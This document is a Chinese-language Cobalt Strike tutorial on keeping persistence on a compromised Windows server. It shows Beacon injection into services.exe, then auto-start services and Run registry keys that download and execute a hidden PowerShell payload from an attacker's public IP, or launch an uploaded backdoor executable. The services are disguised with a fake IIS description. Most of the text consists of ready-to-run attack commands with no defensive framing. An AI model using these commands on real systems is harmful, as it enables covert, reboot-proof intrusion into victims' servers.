Cobalt strike权限维持
当目标机器重启之后,驻留在cmd.exe、powershell.exe
等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。
可以通过IFEO、启动项、服务
等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。
0x01 进程迁移
环境
- 目标机器:Windows Server 2008 R2
- Cobalt strike版本:Cobalt strike4.0
在我们获取目标机器Shell并成功提权后,驻留在cmd.exe、powershell.exe
等进程中的Shell具有不稳定性,为了增加稳定性首先做的就是进程迁移打开进程列表找一个合适的程序迁移(最好是系统进程)。
右键选择 目标
→进程列表
选择services.exe
进程再点击Inject
选择好监听器
这样我们就获取到了更稳定的services.exe
Shell
0x02 创建自启动服务
1. 无文件攻击
首先要生成的payload,攻击
→钓鱼攻击
→Scripted Web Delivery(S)
选择好监听器
生成payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))"
#此条命令的是通过download下载恶意powershell,之后通过IEX在后台隐藏执行
#IEX(Invoke-expression),作用是将字符串当成powershell命令执行,并且是加载到内存中执行,不会有文件落地
进入beacon
在刚才生成的payload截取关键部分
IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))
在beacon中依次执行以下命令
#创建服务
shell sc create "AppaHostSvc" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))\"
#设置AppaHostSvc服务为自动
shell SC config "AppaHostSvc" start= auto
#设置服务描述
shell SC description "AppaHostSvc" "为IIS提供管理服务,例如配置历史记录和应用程序池帐户映射。如果停止此服务,则配置历史记录将无法工作,也无法用特定于应用程序池的访问控制项锁定文件或目录。"
#启动服务
shell net start "AppaHostSvc"
这样我们就在目标服务器留下名为AppaHostSvc
的服务,加上描述后看起来很像真的
之前设置了服务为自动,所以目标服务器重启后依然主动连接到我们的CS
2. 后门文件
首先先生成 windows server exe (服务后门),也可以使用自己免杀制作的exe
利用工具把后门ab.exe
上传到目标服务器上
进入beacon中依次执行以下命令
#创建服务
shell sc create "SpoWered" binpath= "C:\Windows\Temp\test\ab.exe"
#设置SpoWered服务为自动
shell SC config "SpoWered" start= auto
#设置服务描述
shell SC description "SpoWered" "为IIS提供管理服务,例如配置历史记录和应用程序池帐户映射。如果停止此服务,则配置历史记录将无法工作,也无法用特定于应用程序池的访问控制项锁定文件或目录。"
#启动服务
shell net start "SpoWered"
这样我们就在目标服务器留下名为SpoWered
的服务,加上描述后看起来很像真的
清除后门
#删除服务
shell SC delete "SpoWered"
0x03 创建注册表后门
1. 无文件攻击
首先需要生成payload
IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))
在beacon中执行以下命令
#添加注册表
shell reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Key1name" /t REG_SZ /d "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://公网ip:16202/a'))\"" /f
这就我们就在目标服务器的注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
路径下留下了Key1name
,每当服务器重启时就会运行注册表中的命令连接到我们的CS
2. 后门文件
首先先生成 windows server exe (服务后门),也可以使用自己免杀制作的exe
利用工具把后门ab.exe
上传到目标服务器上
进入beacon中执行以下命令
#添加注册表
shell reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\Temp\test\ab.exe" /f
这就我们就在目标服务器的注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
路径下留下了Keyname
,每当服务器重启时就会运行注册表中的命令运行C:\Windows\Temp\test\ab.exe
从而连接到我们的CS
清楚后门
#删除注册表
shell reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /f